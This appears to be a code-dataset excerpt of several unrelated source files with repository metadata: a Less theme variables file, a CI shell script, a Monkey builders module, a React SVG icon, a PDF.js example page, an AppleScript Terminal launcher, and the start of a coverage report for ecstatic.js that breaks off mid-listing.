@padding-md: 8px; // small containers and buttons
@padding-sm: 8px; // Form controls and items
@padding-xs: 4px; // small items
@padding-xss: 0px; // more small
// vertical padding for all form controls
@control-padding-horizontal: @padding-sm;
@control-padding-horizontal-sm: @default-padding-xs;
// vertical margins
@margin-lg: 16px; // containers
@margin-md: 8px; // small containers and buttons
@margin-sm: 8px; // Form controls and items
@margin-xs: 4px; // small items
@margin-xss: 0px; // more small
// height rules
@height-base: 28px;
@height-lg: 32px;
@height-sm: 22px;
// Button
// ---
@btn-padding-horizontal-base: @default-padding-sm - 1px;
@btn-padding-horizontal-lg: @btn-padding-horizontal-base;
@btn-padding-horizontal-sm: @default-padding-xs - 1px;
@btn-square-only-icon-size-lg: 16px;
@btn-square-only-icon-size: 14px;
@btn-square-only-icon-size-sm: 12px;
// Breadcrumb
// ---
@breadcrumb-font-size: @font-size-base;
@breadcrumb-icon-font-size: @font-size-base;
//Dropdown
@dropdown-line-height: 18px;
// Menu
@menu-item-padding: 0 12px;
@menu-horizontal-line-height: 38px;
@menu-inline-toplevel-item-height: 32px;
@menu-item-height: 32px;
@menu-item-vertical-margin: 0px;
@menu-item-boundary-margin: 0px;
@menu-icon-margin-right: 8px;
// Checkbox
@checkbox-size: 14px;
@checkbox-group-item-margin-right: 6px;
// picker
@picker-panel-cell-height: 22px;
@picker-panel-cell-width: 32px;
@picker-text-height: 32px;
@picker-time-panel-cell-height: 24px;
@picker-panel-without-time-cell-height: 48px;
// Form
// ---
@form-item-margin-bottom: 16px;
@form-vertical-label-padding: 0 0 4px;
// Rate
// ---
@rate-star-size: 16px;
// Radio
// ---
@radio-size: 14px;
@radio-wrapper-margin-right: 6px;
// Switch
// ---
@switch-height: 20px;
@switch-sm-height: 14px;
@switch-min-width: 40px;
@switch-sm-min-width: 24px;
@switch-inner-margin-min: 4px;
@switch-inner-margin-max: 22px;
// Slider
// ---
@slider-handle-size: 12px;
@slider-handle-margin-top: -4px;
// Input
// ---
@input-padding-vertical-base: round(
max(
(round(((@input-height-base - @font-size-base * @line-height-base) / 2) * 10) / 10) -
@border-width-base,
2px
)
);
@input-padding-horizontal-lg: 11px;
// PageHeader
// ---
@page-header-padding: 16px;
@page-header-padding-vertical: 8px;
@page-header-heading-title: 16px;
@page-header-heading-sub-title: 12px;
@page-header-tabs-tab-font-size: 14px;
// Pagination
// ---
@pagination-mini-options-size-changer-top: 1px;
@pagination-item-size-sm: 22px;
// Cascader
// ----
@cascader-dropdown-line-height: @dropdown-line-height;
// Select
// ---
@select-dropdown-height: @height-base;
@select-single-item-height-lg: 32px;
@select-multiple-item-height: @input-height-base - max(@input-padding-vertical-base, 4) * 2; // Normal 24px
@select-multiple-item-height-lg: 24px;
@select-multiple-item-spacing-half: 3px;
// Tree
// ---
@tree-title-height: 20px;
// Transfer
// ---
@transfer-item-padding-vertical: 3px;
@transfer-list-search-icon-top: 8px;
@transfer-header-height: 36px;
// Comment
// ---
@comment-actions-margin-bottom: 0px;
@comment-actions-margin-top: @margin-xs;
@comment-content-detail-p-margin-bottom: 0px;
// Steps
// ---
@steps-icon-size: 24px;
@steps-icon-custom-size: 20px;
@steps-icon-custom-font-size: 20px;
@steps-icon-custom-top: 2px;
@steps-icon-margin: 2px 8px 2px 0;
@steps-icon-font-size: @font-size-base;
@steps-dot-top: 4px;
@steps-icon-top: 0px;
@steps-small-icon-size: 20px;
@steps-vertical-icon-width: 12px;
@steps-vertical-tail-width: 12px;
@steps-vertical-tail-width-sm: 10px;
// Collapse
// ---
//@collapse-header-padding-extra: 32px;
@collapse-content-padding: @padding-md @padding-lg;
// List
// ---
@list-item-meta-description-font-size: @font-size-sm;
@list-item-padding-sm: 4px 12px;
@list-item-padding-lg: 12px 16px;
// Drawer
// ---
@drawer-header-padding: 11px @padding-lg;
@drawer-footer-padding-vertical: @padding-sm;
@drawer-footer-padding-horizontal: @padding-sm;
@drawer-header-close-size: 44px;
// Modal
// --
@modal-header-padding: 11px @modal-header-padding-horizontal;
@modal-footer-padding-vertical: @padding-sm;
@modal-header-close-size: 44px;
@modal-confirm-body-padding: 24px 24px 16px;
// Message
// ---
@message-notice-content-padding: 8px 16px;
// popover
// --
@popover-min-height: 28px;
@popover-padding-horizontal: @default-padding-sm;
// Card
// ---
@card-padding-base: 16px;
@card-head-height: 36px;
@card-head-font-size: @card-head-font-size-sm;
@card-head-padding: 8.5px;
@card-padding-base: 12px;
@card-padding-base-sm: @card-padding-base;
@card-head-height-sm: 30px;
@card-head-padding-sm: 6px;
@card-actions-li-margin: 4px 0;
@card-head-tabs-margin-bottom: -9px;
// Table
// ---
@table-padding-vertical: 12px;
@table-padding-horizontal: 8px;
@table-padding-vertical-md: 8px;
@table-padding-horizontal-md: 8px;
@table-padding-vertical-sm: 4px;
@table-padding-horizontal-sm: 4px;
@table-selection-column-width: 32px;
// Statistic
// ---
@statistic-content-font-size: 20px;
// Alert
// ---
@alert-with-description-no-icon-padding-vertical: 7px;
@alert-with-description-padding-vertical: 11px;
@alert-icon-top: 7px + @font-size-base * (@line-height-base / 2) - (@font-size-base / 2);
@alert-with-description-icon-size: 20px;
// Skeleton
// ---
@skeleton-paragraph-margin-top: 20px;
@skeleton-paragraph-li-margin-top: 12px;
@skeleton-paragraph-li-height: 14px;
@skeleton-title-height: 14px;
@skeleton-title-paragraph-margin-top: 20px;
// Descriptions
@descriptions-title-margin-bottom: 8px;
@descriptions-default-padding: 12px @padding-lg;
@descriptions-item-padding-bottom: @padding-xs;
// Avatar
// ---
@avatar-size-base: 28px;
@avatar-size-lg: 32px;
@avatar-size-sm: 22px;
@avatar-font-size-base: 16px;
@avatar-font-size-lg: 20px;
@avatar-font-size-sm: 12px;
// Badge
// ---
@badge-height: 18px;
// Tag
// ---
@tag-line-height: 18px;
// Notification
// ---
@notification-padding-vertical: 12px;
@notification-padding-horizontal: 16px;
// Result
// ---
@result-title-font-size: 20px;
@result-icon-font-size: 64px;
@result-extra-margin: 24px 0 0 0;
// Anchor
// ---
@anchor-link-top: 4px;
@anchor-link-left: 16px;
@anchor-link-padding: @anchor-link-top 0 @anchor-link-top @anchor-link-left;
// Tabs
// ---
@tabs-card-horizontal-padding: 4px @padding-md;
// Progress
// ---
@progress-circle-text-font-size: 0.833333em;
// Image
// ---
@image-size-base: 48px;
@image-font-size-base: 24px;
| Less | 3 | noctis0430-open-source/ant-design-blazor | components/style/themes/compact.less | [
"MIT"
] |
#!/bin/bash
set -ex
mkdir -p /usr/local/include
cp jni.h /usr/local/include
| Shell | 4 | Hacky-DH/pytorch | .circleci/docker/common/install_jni.sh | [
"Intel"
] |
Import transcc
Import android
Import android_ndk
Import flash
Import glfw
Import html5
Import ios
Import psm
Import stdcpp
Import winrt
Import xna
Function Builders:StringMap<Builder>( tcc:TransCC )
Local builders:=New StringMap<Builder>
builders.Set "android",New AndroidBuilder( tcc )
builders.Set "android_ndk",New AndroidNdkBuilder( tcc )
builders.Set "glfw",New GlfwBuilder( tcc )
builders.Set "html5",New Html5Builder( tcc )
builders.Set "ios",New IosBuilder( tcc )
builders.Set "flash",New FlashBuilder( tcc )
builders.Set "psm",New PsmBuilder( tcc )
builders.Set "stdcpp",New StdcppBuilder( tcc )
builders.Set "winrt",New WinrtBuilder( tcc )
builders.Set "xna",New XnaBuilder( tcc )
Return builders
End
| Monkey | 3 | blitz-research/monkey | src/transcc/builders/builders.monkey | [
"Zlib"
] |
"use strict";
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = void 0;
var _createSvgIcon = _interopRequireDefault(require("./utils/createSvgIcon"));
var _jsxRuntime = require("react/jsx-runtime");
var _default = (0, _createSvgIcon.default)( /*#__PURE__*/(0, _jsxRuntime.jsx)("path", {
d: "M21 14h2c0 4.97-4.03 9-9 9v-2c3.87 0 7-3.13 7-7zm-7 3v2c2.76 0 5-2.24 5-5h-2c0 1.66-1.34 3-3 3zM18.26.59l3.54 3.54c.78.78.78 2.05 0 2.83l-3.18 3.18c-.78.78-2.05.78-2.83 0L14.55 8.9l-.71.7 1.24 1.24c.78.78.78 2.05 0 2.83l-1.41 1.41c-.78.78-2.05.78-2.83 0L9.6 13.84l-.71.71 1.24 1.24c.78.78.78 2.05 0 2.83L6.95 21.8c-.78.78-2.05.78-2.83 0L.58 18.26c-.78-.78-.78-2.05 0-2.83l3.18-3.18c.78-.78 2.05-.78 2.83 0l1.24 1.24.71-.71-1.24-1.23c-.78-.78-.78-2.05 0-2.83L8.72 7.3c.78-.78 2.05-.78 2.83 0l1.24 1.24.71-.71-1.25-1.23c-.78-.78-.78-2.05 0-2.83L15.43.59c.79-.79 2.05-.79 2.83 0zm-15.2 15.2L2 16.85l3.54 3.54 1.06-1.06-3.54-3.54zm2.12-2.12-1.06 1.06 3.54 3.54 1.06-1.06-3.54-3.54zm4.95-4.95-1.41 1.41 3.54 3.54 1.41-1.41-3.54-3.54zm4.6-4.6-1.06 1.06 3.54 3.54 1.06-1.06-3.54-3.54zM16.85 2l-1.06 1.06 3.54 3.54 1.06-1.06L16.85 2z"
}), 'SatelliteAltOutlined');
exports.default = _default; | JavaScript | 3 | dany-freeman/material-ui | packages/mui-icons-material/lib/SatelliteAltOutlined.js | [
"MIT"
] |
<!DOCTYPE html>
<!--
Copyright 2014 Mozilla Foundation
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<html dir="ltr" mozdisallowselectionprint>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="google" content="notranslate">
<title>PDF.js Single Page Viewer using built components</title>
<style>
body {
background-color: #808080;
margin: 0;
padding: 0;
}
#viewerContainer {
overflow: auto;
position: absolute;
width: 100%;
height: 100%;
}
</style>
<link rel="stylesheet" href="../../node_modules/pdfjs-dist/web/pdf_viewer.css">
<script src="../../node_modules/pdfjs-dist/build/pdf.js"></script>
<script src="../../node_modules/pdfjs-dist/web/pdf_viewer.js"></script>
</head>
<body tabindex="1">
<div id="viewerContainer">
<div id="viewer" class="pdfViewer"></div>
</div>
<script src="singlepageviewer.js"></script>
</body>
</html>
| HTML | 4 | MMeent/pdf.js | examples/components/singlepageviewer.html | [
"Apache-2.0"
] |
--for testing uncomment the "on run" block
--on run
-- set argsCmd to "ps aux | grep [s]sh"
-- set argsTheme to "Homebrew"
-- set argsTitle to "Custom title"
-- CommandRun(argsCmd, argsTheme, argsTitle)
--end run
on scriptRun(argsCmd, argsTheme, argsTitle)
set withCmd to (argsCmd)
set withTheme to (argsTheme)
set theTitle to (argsTitle)
CommandRun(withCmd, withTheme, theTitle)
end scriptRun
on CommandRun(withCmd, withTheme, theTitle)
tell application "Terminal"
if it is not running then
--if this is the first time Terminal is running you have specify window 1
--if you dont do this you will get two windows and the title wont be set
set newTerm to do script withCmd in window 1
else
set newTerm to do script withCmd
end if
activate
set newTerm's current settings to settings set withTheme
set custom title of front window to theTitle
end tell
end CommandRun
| AppleScript | 4 | desynced/legendary-octo-broccoli | apple-scripts/terminal/terminal-new-window.applescript | [
"MIT"
] |
<!doctype html>
<html lang="en">
<head>
<title>Code coverage report for lib/ecstatic.js</title>
<meta charset="utf-8" />
<link rel="stylesheet" href="../prettify.css" />
<link rel="stylesheet" href="../base.css" />
<meta name="viewport" content="width=device-width, initial-scale=1">
<style type='text/css'>
.coverage-summary .sorter {
background-image: url(../sort-arrow-sprite.png);
}
</style>
</head>
<body>
<div class='wrapper'>
<div class='pad1'>
<h1>
<a href="../index.html">all files</a> / <a href="index.html">lib/</a> ecstatic.js
</h1>
<div class='clearfix'>
<div class='fl pad1y space-right2'>
<span class="strong">88.13% </span>
<span class="quiet">Statements</span>
<span class='fraction'>141/160</span>
</div>
<div class='fl pad1y space-right2'>
<span class="strong">84.35% </span>
<span class="quiet">Branches</span>
<span class='fraction'>124/147</span>
</div>
<div class='fl pad1y space-right2'>
<span class="strong">83.33% </span>
<span class="quiet">Functions</span>
<span class='fraction'>15/18</span>
</div>
<div class='fl pad1y space-right2'>
<span class="strong">88.05% </span>
<span class="quiet">Lines</span>
<span class='fraction'>140/159</span>
</div>
</div>
</div>
<div class='status-line high'></div>
<pre><table class="coverage">
<tr><td class="line-count quiet">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387</td><td class="line-coverage quiet"><span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">35×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">35×</span>
<span class="cline-any cline-yes">50×</span>
<span class="cline-any cline-yes">26×</span>
<span class="cline-any cline-yes">26×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">50×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">50×</span>
<span class="cline-any cline-yes">50×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">50×</span>
<span class="cline-any cline-yes">6×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">6×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">6×</span>
<span class="cline-any cline-yes">4×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">2×</span>
<span class="cline-any cline-yes">2×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">49×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">163×</span>
<span class="cline-any cline-yes">163×</span>
<span class="cline-any cline-yes">163×</span>
<span class="cline-any cline-yes">161×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">2×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">161×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">161×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">159×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">161×</span>
<span class="cline-any cline-yes">73×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">161×</span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">161×</span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">161×</span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">35×</span>
<span class="cline-any cline-yes">159×</span>
<span class="cline-any cline-yes">159×</span>
<span class="cline-any cline-yes">44×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">12×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">32×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">14×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">18×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">115×</span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">115×</span>
<span class="cline-any cline-yes">45×</span>
<span class="cline-any cline-yes">1×</span>
<span class="cline-any cline-yes">1×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">44×</span>
<span class="cline-any cline-yes">18×</span>
<span class="cline-any cline-yes">18×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">18×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">26×</span>
<span class="cline-any cline-yes">22×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">8×</span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">8×</span>
<span class="cline-any cline-yes">8×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">4×</span>
<span class="cline-any cline-yes">4×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">70×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">161×</span>
<span class="cline-any cline-yes">2×</span>
<span class="cline-any cline-yes">2×</span>
<span class="cline-any cline-yes">2×</span>
<span class="cline-any cline-yes">2×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">159×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">35×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">72×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">72×</span>
<span class="cline-any cline-yes">72×</span>
<span class="cline-any cline-yes">72×</span>
<span class="cline-any cline-yes">72×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">72×</span>
<span class="cline-any cline-yes">2×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">2×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">72×</span>
<span class="cline-any cline-yes">72×</span>
<span class="cline-any cline-yes">5×</span>
<span class="cline-any cline-yes">5×</span>
<span class="cline-any cline-yes">5×</span>
<span class="cline-any cline-yes">5×</span>
<span class="cline-any cline-yes">5×</span>
<span class="cline-any cline-yes">5×</span>
<span class="cline-any cline-yes">5×</span>
<span class="cline-any cline-yes">5×</span>
<span class="cline-any cline-yes">2×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">3×</span>
<span class="cline-any cline-yes">3×</span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">3×</span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">3×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">3×</span>
<span class="cline-any cline-yes">3×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">67×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">67×</span>
<span class="cline-any cline-yes">67×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">67×</span>
<span class="cline-any cline-yes">4×</span>
<span class="cline-any cline-yes">4×</span>
<span class="cline-any cline-yes">2×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">4×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">63×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">67×</span>
<span class="cline-any cline-yes">5×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">62×</span>
<span class="cline-any cline-yes">62×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">62×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">62×</span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">62×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">62×</span>
<span class="cline-any cline-yes">62×</span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">35×</span>
<span class="cline-any cline-yes">67×</span>
<span class="cline-any cline-yes">24×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">43×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">43×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">36×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">7×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">7×</span>
<span class="cline-any cline-yes">7×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">1×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">6×</span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">6×</span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">6×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">4×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-yes">4×</span>
<span class="cline-any cline-yes">1×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">5×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">35×</span>
<span class="cline-any cline-yes">35×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">35×</span>
<span class="cline-any cline-yes">84×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">84×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">2×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">35×</span>
<span class="cline-any cline-yes">161×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">161×</span>
<span class="cline-any cline-yes">455×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">455×</span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">455×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">35×</span>
<span class="cline-any cline-yes">10×</span>
<span class="cline-any cline-yes">10×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">150×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">10×</span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-no"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">10×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-yes">10×</span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span>
<span class="cline-any cline-neutral"> </span></td><td class="text"><pre class="prettyprint lang-js">#! /usr/bin/env node
var path = require('path'),
fs = require('fs'),
url = require('url'),
mime = require('mime'),
urlJoin = require('url-join'),
showDir = require('./ecstatic/showdir'),
version = JSON.parse(
fs.readFileSync(__dirname + '/../package.json').toString()
).version,
status = require('./ecstatic/status-handlers'),
generateEtag = require('./ecstatic/etag'),
